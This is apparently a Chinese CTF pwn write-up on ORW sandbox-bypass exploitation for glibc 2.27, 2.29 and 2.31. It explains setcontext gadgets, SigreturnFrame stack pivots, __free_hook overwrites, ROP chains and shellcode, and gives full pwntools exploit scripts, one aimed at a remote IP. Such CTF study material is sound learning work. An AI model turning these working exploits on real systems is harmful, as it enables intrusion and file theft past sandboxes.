本篇用来记录ORW,ORW可以分为2.27以下的orw和2.29以上的orw,如果是本地请自备flag文件
orw技术是用来应对沙盒的
oooorder
本题是2.27的orw,漏洞是uaf,漏洞在这里不展开讲,uaf也并不难
2.27的orw既可以使用heap_addr,也可以不要,先讲不需要heap_addr的,毕竟能少泄漏就少泄漏
最重要的是使用了setcontext这个函数,来达成我们控制寄存器的目的
2.27得setcontext:
<setcontext>: push rdi
<setcontext+1>: lea rsi,[rdi+0x128]
<setcontext+8>: xor edx,edx
<setcontext+10>: mov edi,0x2
<setcontext+15>: mov r10d,0x8
<setcontext+21>: mov eax,0xe
<setcontext+26>: syscall
<setcontext+28>: pop rdi
<setcontext+29>: cmp rax,0xfffffffffffff001
<setcontext+35>: jae 0x7ffff7a7d520 <setcontext+128>
<setcontext+37>: mov rcx,QWORD PTR [rdi+0xe0]
<setcontext+44>: fldenv [rcx]
<setcontext+46>: ldmxcsr DWORD PTR [rdi+0x1c0]
<setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
<setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
<setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
<setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
<setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
<setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
<setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>: push rcx
<setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
<setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor eax,eax
<setcontext+127>: ret
<setcontext+128>: mov rcx,QWORD PTR [rip+0x356951] # 0x7ffff7dd3e78
<setcontext+135>: neg eax
<setcontext+137>: mov DWORD PTR fs:[rcx],eax
<setcontext+140>: or rax,0xffffffffffffffff
<setcontext+144>: ret
其作用是用户上下文的设置,所以我们在可以小范围控制执行流已知libc_base但不足以完成我们的目标时可以先跳setcontext+53来扩大控制范围。
非常好用,可以直接控制大部分寄存器和执行流。
注意:[rdi+0xa8](被弹到rcx的那个地址)对应的是 frame 框架的 rip 。
接下来开始分析:
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext'] + 53
#--------------------------------------------------------------------------------------------------------
vul(8)
vul(8)
add(0x18, p64(free_hook))
add(0x18, p64(setcontext))
修改free_hook为setcontext+53,为什么是53呢
至于为什么要跳到 setcontext+53 这个位置。因为fldenv
[rcx]指令会造成程序执行的时候直接crash,所以要避开这个指令。
注意:要构造好rsp的值,因为有 push rcx 指令,如果rsp指向的内存不可访问,则会crash。
syscall=libc_base+libc.search(asm("syscall\nret")).next()
print(hex(syscall))
frame = SigreturnFrame()
frame.rax=0 #调用read
frame.rdi=0 #参数1 fd 0就是标准输入
frame.rsi=free_hook&0xfffffffffffff000 #参数2 要往哪里写
frame.rdx=0x2000 #参数3 写多少字节
frame.rsp=free_hook&0xfffffffffffff000 #执行完之后要跳转的地址
frame.rip=syscall #执行什么
p=str(frame)
edit(9,p) #随便填充一个chunk
free(9) #用修改的setcontext来触发,从而控制程序
使用 pwntools 的 SigreturnFrame()来构造ucontext_t结构体
layout = [
libc_base+libc.search(asm("pop rdi\nret")).next(), #: pop rdi; ret;
free_hook & 0xfffffffffffff000,
libc_base+libc.search(asm("pop rsi\nret")).next(), #: pop rsi; ret;
0x2000,
libc_base+libc.search(asm("pop rdx\nret")).next(), #: pop rdx; ret;
7,
libc_base+libc.search(asm("pop rax\nret")).next(), #: pop rax; ret;
10,
syscall, #: syscall; ret;
libc_base+libc.search(asm("jmp rsp")).next(), #: jmp rsp;
]
shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
cmp eax, 0
js failed
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
jmp exit
failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall
exit:
xor edi, edi
mov eax, 231
syscall
''')
sl(flat(layout) + shellcode)
后面的部分就是往free_hook&0xfffffffffffff000写入mprotect,以及orw的ROP,然后rsp跳转到free_hook&0xfffffffffffff000来执行,就完成了orw
也就是先read往free_hook&0xfffffffffffff000读入mprotect和orw的代码,然后跳转到free_hook&0xfffffffffffff000执行
同时这个方法不用在chunk里布置好flag,也就用不到heap_addr
2.27的orw代码:
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext'] + 53
#--------------------------------------------------------------------------------------------------------
vul(8)
vul(8)
add(0x18, p64(free_hook))
add(0x18, p64(setcontext))
syscall=libc_base+libc.search(asm("syscall\nret")).next()
print(hex(syscall))
frame = SigreturnFrame()
frame.rax=0
frame.rdi=0
frame.rsi=free_hook&0xfffffffffffff000
frame.rdx=0x2000
frame.rsp=free_hook&0xfffffffffffff000
frame.rip=syscall
p=str(frame)
edit(9,p)
free(9)
layout = [
libc_base+libc.search(asm("pop rdi\nret")).next(), #: pop rdi; ret;
free_hook & 0xfffffffffffff000,
libc_base+libc.search(asm("pop rsi\nret")).next(), #: pop rsi; ret;
0x2000,
libc_base+libc.search(asm("pop rdx\nret")).next(), #: pop rdx; ret;
7,
libc_base+libc.search(asm("pop rax\nret")).next(), #: pop rax; ret;
10,
syscall, #: syscall; ret;
libc_base+libc.search(asm("jmp rsp")).next(), #: jmp rsp;
]
shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
cmp eax, 0
js failed
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
jmp exit
failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall
exit:
xor edi, edi
mov eax, 231
syscall
''')
sl(flat(layout) + shellcode)
r.interactive()
完整exp:
from pwn import *
from LibcSearcher import *
local_file = './oooorder'
local_libc = '/root/glibc-all-in-one/libs/2.27/libc-2.27.so'
remote_libc = '/root/glibc-all-in-one/libs/2.27/libc-2.27.so'
select = 0
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('121.196.180.65', 10001)
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
o_g = [0x4f2c5, 0x4f322, 0x10a38c]
def debug(cmd=''):
gdb.attach(r,cmd)
def menu(choice):
sea('Your choice :\n', str(choice))
def add(size, content):
menu(1)
sea('How much is the order?\n', str(size))
sea('Order notes:\n', content)
def edit(index, content):
menu(2)
sea('Index of order:\n', str(index))
sea('Order notes:\n', content)
def vul(index):
menu(2)
sea('Index of order:\n', str(index))
def show():
menu(3)
def free(index):
menu(4)
sea('Index of order:\n', str(index))
for i in range(8):
add(0x98, 'aa')
add(0, '')
add(0x100, 'aa')
for i in range(7, -1, -1):
free(i)
vul(8)
vul(8)
show()
ru('[8]:')
heap_addr = uu64(rc(6))
info('heap_addr', heap_addr)
heap_base = heap_addr - 0x880
unsorted_heap = heap_base + 0x280
add(0x18, p64(unsorted_heap))
show()
libc_base = uu64(ru('\x7f')[-6:]) - 0x10 - 96 - libc.sym['__malloc_hook']
info('libc_base', libc_base)
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext'] + 53
#--------------------------------------------------------------------------------------------------------
vul(8)
vul(8)
add(0x18, p64(free_hook))
add(0x18, p64(setcontext))
syscall=libc_base+libc.search(asm("syscall\nret")).next()
print(hex(syscall))
frame = SigreturnFrame()
frame.rax=0
frame.rdi=0
frame.rsi=free_hook&0xfffffffffffff000
frame.rdx=0x2000
frame.rsp=free_hook&0xfffffffffffff000
frame.rip=syscall
p=str(frame)
edit(9,p)
free(9)
layout = [
libc_base+libc.search(asm("pop rdi\nret")).next(), #: pop rdi; ret;
free_hook & 0xfffffffffffff000,
libc_base+libc.search(asm("pop rsi\nret")).next(), #: pop rsi; ret;
0x2000,
libc_base+libc.search(asm("pop rdx\nret")).next(), #: pop rdx; ret;
7,
libc_base+libc.search(asm("pop rax\nret")).next(), #: pop rax; ret;
10,
syscall, #: syscall; ret;
libc_base+libc.search(asm("jmp rsp")).next(), #: jmp rsp;
]
shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
cmp eax, 0
js failed
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
jmp exit
failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall
exit:
xor edi, edi
mov eax, 231
syscall
''')
debug()
sl(flat(layout) + shellcode)
r.interactive()
还有一种使用heap_addr的,这种就相对简单,因为要多泄露一个heap_addr
free_hook = libc_base + libc.sym['__free_hook']
gadget = libc_base + libc.sym['setcontext'] + 53
fake_rsp = heap_base + 0x1d80 #找一块heap地址来使用
flag = fake_rsp - 0x10 #填好flag的地址,可以后续找好了再来填
add(0x10, 'aa')#8
add(0, '')#9
add(0x10, 'bb')#10
free(8)
vul(9)
free(9)
free(10)
add(0x10, p64(free_hook))
add(0x10, p64(gadget))
ret = libc_base + 0x00000000000008aa # ret
pop_rdi_ret = libc_base + 0x000000000002155f # pop rdi ; ret
pop_rsi_ret = libc_base + 0x0000000000023e6a # pop rsi ; ret
pop_rdx_rsi_ret = libc_base + 0x00000000001306d9 # pop rdx ; pop rsi ; ret
pop_rdx_ret = libc_base + 0x0000000000001b96 # pop rdx ; ret
p = 'a'*0xa0 + p64(fake_rsp) + p64(ret) #rsp rip
p = p.ljust(0xb0, '\x00')
p += './flag\x00\x00'
p += p64(0)
p += p64(pop_rdi_ret) + p64(flag)
p += p64(pop_rsi_ret) + p64(0)
p += p64(libc_base+libc.sym['open'])
p += p64(pop_rdi_ret) + p64(3)
p += p64(pop_rdx_rsi_ret) + p64(0x30) + p64(fake_rsp+0x100)
p += p64(libc_base + libc.sym['read'])
p += p64(pop_rdi_ret) + p64(1)
p += p64(pop_rdx_rsi_ret) + p64(0x30) + p64(fake_rsp+0x100)
p += p64(libc_base + libc.sym['write'])
add(0x400, p)#10
free(10)
大致的思路就是在chunk里布置好orw和flag,然后触发就行0xa0是为了setcontext,参考一下应该就看懂了
完整exp:
from pwn import *
from LibcSearcher import *
local_file = './oooorder'
local_libc = '/root/glibc-all-in-one/libs/2.27/libc-2.27.so'
remote_libc = '/root/glibc-all-in-one/libs/2.27/libc-2.27.so'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('121.196.180.65', 10001)
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
def menu(choice):
sea('Your choice :\n', str(choice))
def add(size, content):
menu(1)
sea('How much is the order?\n', str(size))
sea('Order notes:\n', content)
def edit(index, content):
menu(2)
sea('Index of order:\n', str(index))
sea('Order notes:\n', content)
def vul(index):
menu(2)
sea('Index of order:\n', str(index))
def show():
menu(3)
def free(index):
menu(4)
sea('Index of order:\n', str(index))
for i in range(8):
add(0x300, 'aa')
for i in range(7, -1, -1):
free(i)
for i in range(7):
add(0x300, '\xe0')
show()
ru('[0]:')
heap_base = uu64(rc(6)) - 0x8e0
info('heap_base', heap_base)
add(0x1f0, '\xa0')
show()
ru('[7]:')
libc_base = uu64(rc(6)) - 608 - 0x10 - libc.sym['__malloc_hook']
info('libc_base', libc_base)
free_hook = libc_base + libc.sym['__free_hook']
gadget = libc_base + libc.sym['setcontext'] + 53
fake_rsp = heap_base + 0x1d80
flag = fake_rsp - 0x10
add(0x10, 'aa')#8
add(0, '')#9
add(0x10, 'bb')#10
free(8)
vul(9)
free(9)
free(10)
add(0x10, p64(free_hook))
add(0x10, p64(gadget))
ret = libc_base + 0x00000000000008aa # ret
pop_rdi_ret = libc_base + 0x000000000002155f # pop rdi ; ret
pop_rsi_ret = libc_base + 0x0000000000023e6a # pop rsi ; ret
pop_rdx_rsi_ret = libc_base + 0x00000000001306d9 # pop rdx ; pop rsi ; ret
pop_rdx_ret = libc_base + 0x0000000000001b96 # pop rdx ; ret
p = 'a'*0xa0 + p64(fake_rsp) + p64(ret)
p = p.ljust(0xb0, '\x00')
p += './flag\x00\x00'
p += p64(0)
p += p64(pop_rdi_ret) + p64(flag)
p += p64(pop_rsi_ret) + p64(0)
p += p64(libc_base+libc.sym['open'])
p += p64(pop_rdi_ret) + p64(3)
p += p64(pop_rdx_rsi_ret) + p64(0x30) + p64(fake_rsp+0x100)
p += p64(libc_base + libc.sym['read'])
p += p64(pop_rdi_ret) + p64(1)
p += p64(pop_rdx_rsi_ret) + p64(0x30) + p64(fake_rsp+0x100)
p += p64(libc_base + libc.sym['write'])
add(0x400, p)#10
free(10)
#debug()
#sl('1')
r.interactive()
2019-BALSN-CTF-plaintext
本题是2.29的orw
本题的前半部分是2.29的off by null,我在off by null那一篇已经讲过了,这里只介绍orw的部分
关键是劫持rsp到heap上
2.29的orw和2.27的orw的差别就在于setcontext这个函数由rdi变为rdx,所以我们要利用一个gadget来操纵rdx
setcontext这个函数的作用主要是用户上下文的获取和设置,可以利用这个函数直接控制大部分寄存器和执行流
.text:0000000000055E00 public setcontext ; weak
.text:0000000000055E00 setcontext proc near ; CODE XREF: .text:000000000005C16C↓p
.text:0000000000055E00 ; DATA XREF: LOAD:000000000000C6D8↑o
.text:0000000000055E00 push rdi
.text:0000000000055E01 lea rsi, [rdi+128h]
.text:0000000000055E08 xor edx, edx
.text:0000000000055E0A mov edi, 2
.text:0000000000055E0F mov r10d, 8
.text:0000000000055E15 mov eax, 0Eh
.text:0000000000055E1A syscall ; $!
.text:0000000000055E1C pop rdx
.text:0000000000055E1D cmp rax, 0FFFFFFFFFFFFF001h
.text:0000000000055E23 jnb short loc_55E80
.text:0000000000055E25 mov rcx, [rdx+0E0h]
.text:0000000000055E2C fldenv byte ptr [rcx]
.text:0000000000055E2E ldmxcsr dword ptr [rdx+1C0h]
.text:0000000000055E35 mov rsp, [rdx+0A0h]
.text:0000000000055E3C mov rbx, [rdx+80h]
.text:0000000000055E43 mov rbp, [rdx+78h]
.text:0000000000055E47 mov r12, [rdx+48h]
.text:0000000000055E4B mov r13, [rdx+50h]
.text:0000000000055E4F mov r14, [rdx+58h]
.text:0000000000055E53 mov r15, [rdx+60h]
.text:0000000000055E57 mov rcx, [rdx+0A8h]
.text:0000000000055E5E push rcx
.text:0000000000055E5F mov rsi, [rdx+70h]
.text:0000000000055E63 mov rdi, [rdx+68h]
.text:0000000000055E67 mov rcx, [rdx+98h]
.text:0000000000055E6E mov r8, [rdx+28h]
.text:0000000000055E72 mov r9, [rdx+30h]
.text:0000000000055E76 mov rdx, [rdx+88h]
.text:0000000000055E7D xor eax, eax
.text:0000000000055E7F retn
使用ropper(ropgadget找不到)找到我们需要的gadget:
ropper -f /root/glibc-all-in-one/libs/2.29/libc-2.29.so --search 'mov rdx'
mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;
好,我们就要把free_hook改成这个gadget,假设你已经改好了(有阅读过前半部分的话应该没问题)
接下来是2.29和2.27最不一样的部分
这样填写payload
payload = p64(libc_base + libc.symbols['setcontext'] + 0x1d) + p64(heap_addr + 0x1b50) + str_frame[0x10:]
①然后我们调用free后,流程会自动跳转至:
mov rdx, qword ptr [rdi + 8]
mov rax, qword ptr [rdi]
mov rdi, rdx
jmp rax
我们传入的[rdi]是p64(libc.symbols['setcontext'] + 0x1d) + p64(heap_address + 0x1b50)
②那么我们执行到jmp rax时,寄存器状况为rax = libc.symbols['setcontext'] + 0x1d , rdx = heap_address + 0x1b50,程序跳转执行libc.symbols['setcontext'] + 0x1d
。
③接下来将我们实现布置好的信息转移到对应寄存器内,栈迁移完成。
④最后程序将执行我们的ROP链,利用结束。
(0x1b50就是你的ucontext_t结构体的位置)
那么我们剩下要做的就是布置好SigreturnFrame()构造的ucontext_t结构体,以及后续rop的位置
2.27和2.29一样,都可以不要heap_addr来进行orw,但是2.29不需要heap_addr的话就需要你提前布置到free_hook下方的地址,那样就很麻烦,需要在前面就布置好,不像2.27最后一步可以一条龙
关键就是上面那一句的第二个部分导致无法一条龙,一定要提前填写ucontext_t结构体的位置
payload = p64(libc_base + libc.symbols['setcontext'] + 0x1d) + p64(heap_addr + 0x1b50) + str_frame[0x10:]
后续的就是rop了
orw的代码:
add(0x28, p64(free_hook))
add(0x28, 'a')
add(0x28, 'a')
add(0x28, p64(gadget))
frame = SigreturnFrame()
frame.rdi = heap_addr + 0x1b50 + 0x100 + 0x100
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = heap_addr + 0x1b50 + 0x100
frame.rip = libc_base + 0x000000000002535f # : ret
frame.set_regvalue('&fpstate', heap_addr)
str_frame = str(frame)
payload = p64(libc_base + libc.symbols['setcontext'] + 0x1d) + p64(heap_addr + 0x1b50) + str_frame[0x10:]
layout = [
libc_base + 0x0000000000047cf8, #: pop rax; ret;
2,
# sys_open("./flag", 0)
libc_base + 0x00000000000cf6c5, #: syscall; ret;
libc_base + 0x0000000000026542, #: pop rdi; ret;
3, # maybe it is 2
libc_base + 0x0000000000026f9e, #: pop rsi; ret;
heap_addr + 0x10000,
libc_base + 0x000000000012bda6, #: pop rdx; ret;
0x100,
libc_base + 0x0000000000047cf8, #: pop rax; ret;
0,
# sys_read(flag_fd, heap, 0x100)
libc_base + 0x00000000000cf6c5, #: syscall; ret;
libc_base + 0x0000000000026542, #: pop rdi; ret;
1,
libc_base + 0x0000000000026f9e, #: pop rsi; ret;
heap_addr + 0x10000,
libc_base + 0x000000000012bda6, #: pop rdx; ret;
0x100,
libc_base + 0x0000000000047cf8, #: pop rax; ret;
1,
# sys_write(1, heap, 0x100)
libc_base + 0x00000000000cf6c5, #: syscall; ret;
libc_base + 0x0000000000026542, #: pop rdi; ret;
0,
libc_base + 0x0000000000047cf8, #: pop rax; ret;
231,
# exit(0)
libc_base + 0x00000000000cf6c5, #: syscall; ret;
]
payload = payload.ljust(0x100, 'a') + flat(layout)
payload = payload.ljust(0x200, 'a') + './flag'
add(0x1000, payload)
print payload
free(37)
解释一下流程,free之后rax指向libc_base + libc.symbols[‘setcontext’] + 0x1d,rdx指向heap_addr + 0x1b50(结构体的位置),然后后面跟着的就是我们的结构体,然后setcontext弄完结构体,结构体里布置的是open的参数,rip可以理解为要执行的,rsp是执行完之后要去的地址
frame = SigreturnFrame()
frame.rdi = heap_addr + 0x1b50 + 0x100 + 0x100 #第一个参数flag的地址
frame.rsi = 0 #第二个参数0
frame.rdx = 0x100
frame.rsp = heap_addr + 0x1b50 + 0x100 #执行完之后要去的地址
frame.rip = libc_base + 0x000000000002535f # : ret
frame.set_regvalue('&fpstate', heap_addr)
后续就是orw的rop
也就是所有的数据都是在heap上的,我们是劫持了rsp到heap上来执行我们的rop
完整exp:
from pwn import *
from LibcSearcher import *
local_file = './note'
local_libc = '/root/glibc-all-in-one/libs/2.29/libc-2.29.so'
remote_libc = '/root/glibc-all-in-one/libs/2.29/libc-2.29.so'
select = 0
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('', )
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
o_g_32 = [0x13e211, 0x13e212]
o_g = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]
def debug(cmd=''):
gdb.attach(r,cmd)
def menu(ch):
sea('Choice: ', str(ch))
def add(size, content):
menu(1)
sea('size: ', str(size))
sea('content: ', content)
def free(idx):
menu(2)
sea('idx: ', str(idx))
def show(idx):
menu(3)
sea('idx: ', str(idx))
for i in range(7):
add(0x1000, 'aa')#0-6
add(0x1000+0xc00, 'aa')#7
for i in range(7):
add(0x28, 'aa')#8-14
add(0xb20, 'largebin')#15
add(0x10, 'aa')#16
free(15)
#--------------------------------------------------------------------------------------------------------
add(0x1000, '\n')#15
add(0x28, p64(0) + p64(0x521) + p8(0x50))#17
#--------------------------------------------------------------------------------------------------------
add(0x28, 'a') # 18
add(0x28, 'b') # 19
add(0x28, 'c') # 20
add(0x28, 'd') # 21
for i in range(7):
free(i+8)
free(20)
free(18)
for i in range(7):
add(0x28, 'a')
add(0x400, 'a')#18
add(0x28, p64(0) + p8(0x30))#20
#--------------------------------------------------------------------------------------------------------
add(0x28, 'clear') # 22
for i in range(7):
free(i+8)
free(19)
free(17)
for i in range(7):
add(0x28, 'a')
add(0x28, '\x30')#17
#--------------------------------------------------------------------------------------------------------
add(0x28, 'clear')#19
add(0x28, 'aa')#23
add(0x5f8, 'a')#24
add(0x100, 'a')#25
free(23)
add(0x28, "a"*0x20 + p64(0x520))#23
free(24)
#--------------------------------------------------------------------------------------------------------
add(0x40, 'a')#24
show(19)
libc_base = uu64(ru('\x7f')[-6:]) - libc.sym['__malloc_hook'] - 0x10 - 96
info('libc_base', libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
og = libc_base + o_g[1]
gadget = libc_base + 0x12be97
info('gadget', gadget)
info('test', free_hook&0xfffffffffffff000)
add(0x88, 'a')#26
add(0x28, 'a')#27
add(0x28, 'a')#28
free(28)
free(27)
show(18)
heap_addr = uu64(rc(6))
info('heap_addr', heap_addr)
for i in range(9):
add(0x28, 'a')
for i in range(7):
free(i+29)
free(27)
free(28)
free(18)
for i in range(7):
add(0x28, 'a')
add(0x28, p64(free_hook))
add(0x28, 'a')
add(0x28, 'a')
add(0x28, p64(gadget))
frame = SigreturnFrame()
frame.rdi = heap_addr + 0x1b50 + 0x100 + 0x100
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = heap_addr + 0x1b50 + 0x100
frame.rip = libc_base + 0x000000000002535f # : ret
frame.set_regvalue('&fpstate', heap_addr)
str_frame = str(frame)
payload = p64(libc_base + libc.symbols['setcontext'] + 0x1d) + p64(heap_addr + 0x1b50) + str_frame[0x10:]
layout = [
libc_base + 0x0000000000047cf8, #: pop rax; ret;
2,
# sys_open("./flag", 0)
libc_base + 0x00000000000cf6c5, #: syscall; ret;
libc_base + 0x0000000000026542, #: pop rdi; ret;
3, # maybe it is 2
libc_base + 0x0000000000026f9e, #: pop rsi; ret;
heap_addr + 0x10000,
libc_base + 0x000000000012bda6, #: pop rdx; ret;
0x100,
libc_base + 0x0000000000047cf8, #: pop rax; ret;
0,
# sys_read(flag_fd, heap, 0x100)
libc_base + 0x00000000000cf6c5, #: syscall; ret;
libc_base + 0x0000000000026542, #: pop rdi; ret;
1,
libc_base + 0x0000000000026f9e, #: pop rsi; ret;
heap_addr + 0x10000,
libc_base + 0x000000000012bda6, #: pop rdx; ret;
0x100,
libc_base + 0x0000000000047cf8, #: pop rax; ret;
1,
# sys_write(1, heap, 0x100)
libc_base + 0x00000000000cf6c5, #: syscall; ret;
libc_base + 0x0000000000026542, #: pop rdi; ret;
0,
libc_base + 0x0000000000047cf8, #: pop rax; ret;
231,
# exit(0)
libc_base + 0x00000000000cf6c5, #: syscall; ret;
]
payload = payload.ljust(0x100, 'a') + flat(layout)
payload = payload.ljust(0x200, 'a') + './flag'
add(0x1000, payload)
print payload
free(37)
#debug()
#sl('1')
r.interactive()
YCB easy_heap
2.31的off by null,发生在edit里,和2.29的差不多
具体讲一下orw的部分
2.31下的gadget和2.29的不一样
ropper -f /root/glibc-all-in-one/libs/2.31/libc-2.31.so --search 'mov rdx'
0x0000000000154890#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
解释一下,就是在rdi+8那里放frame的addr,frame的0x20个字节后放setcontext,具体的可以自己调试
基本准备:
libc_base = uu64(ru('\x7f')[-6:]) - libc.sym['__malloc_hook'] - 96 - 0x10
info('libc_base', libc_base)
gadget = libc_base + 0x0000000000154890#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
IO_stdin = libc_base + libc.sym['_IO_2_1_stdin_']
setcontext = libc_base + libc.sym['setcontext'] + 61
frame_addr = libc_base + libc.sym['_IO_2_1_stdin_'] + 0xe0
str_jumps = libc_base + 0x1ed560
pop_rdi = libc_base + 0x0000000000026b72 # pop rdi ; ret
pop_rsi = libc_base + 0x0000000000027529 # pop rsi ; ret
pop_rdx = libc_base + 0x000000000011c241 # pop rdx ; pop r12 ; ret
pop_rax = libc_base + 0x000000000004a5b0 # pop rax ; ret
syscall = libc_base+libc.search(asm("syscall\nret")).next()
ret = libc_base + 0x0000000000025679 # ret
Open = libc_base + libc.sym['open']
Read = libc_base + libc.sym['read']
Puts = libc_base + libc.sym['puts']
Write = libc_base + libc.sym['write']
泄漏heap地址,自己找几个空的位置写flag,orw和frame
add(0x28)#22
add(0x28)#23
add(0x28)#24
add(0x28)#25
add(0x28)#26
for i in range(7):
free(i+4)
free(26)
free(25)
for i in range(7):
add(0x28)
show(17)
rc(9)
heap_addr = uu64(rc(6)) + 0xa60
heap_orw = heap_addr + 0x20
flag = heap_addr - 0xae0
frame_addr = heap_addr - 0x48e0
info('heap_addr', heap_addr)
info('flag', flag)
info('heap_orw', heap_orw)
add(0x28)#25
add(0x28)#26
for i in range(7):
free(i+4)
free(22)
for i in range(7):
add(0x28)
edit(16, p64(free_hook-0x10))
add(0x28)#22
add(0x28)#27
edit(27, p64(gadget))
edit(23, './flag\x00\x00')
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = heap_orw
frame.rdx = 0x1000
frame.rsp = heap_orw
frame.rip = syscall
str_frame = str(frame)
p = p64(0)*4+p64(setcontext)
edit(0, p+str_frame[0x28:])
p = p64(0) + p64(frame_addr)
p2 = p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0)
p2 += p64(Open)
p2 += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_addr) + p64(pop_rdx) + p64(0x200) + p64(0)
p2 += p64(Read)
p2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_addr) + p64(pop_rdx) + p64(0x200) + p64(0)
p2 += p64(Write)
edit(11, p)
debug()
free(11)
sl(p2)
#debug()
#sl('1')
r.interactive()
为什么可以不用mprotect,直接orw,因为这是在libc上进行的,而libc这段是可执行段
gadget触发,执行frame,达成read,read读入orw到heap上,然后frame的rsp跳转到orw的地址,执行orw,完成,记得提前布置好flag和frame的位置
完整exp:
from pwn import *
from LibcSearcher import *
local_file = './main'
local_libc = '/root/glibc-all-in-one/libs/2.31/libc-2.31.so'
remote_libc = '/root/glibc-all-in-one/libs/2.31/libc-2.31.so'
select = 0
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('', )
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
o_g_32 = [0xcdd7b, 0x14895b, 0x14895c]
o_g = [0xe6d43, 0xe6d46, 0xe6d49]
def debug(cmd=''):
gdb.attach(r,cmd)
def menu(ch):
sea('Choice:', str(ch))
def add(size):
menu(1)
sea('Size: ', str(size))
def edit(idx, content):
menu(2)
sea('Index: ', str(idx))
sea('Content:', content)
def free(idx):
menu(3)
sea('Index: ', str(idx))
def show(idx):
menu(4)
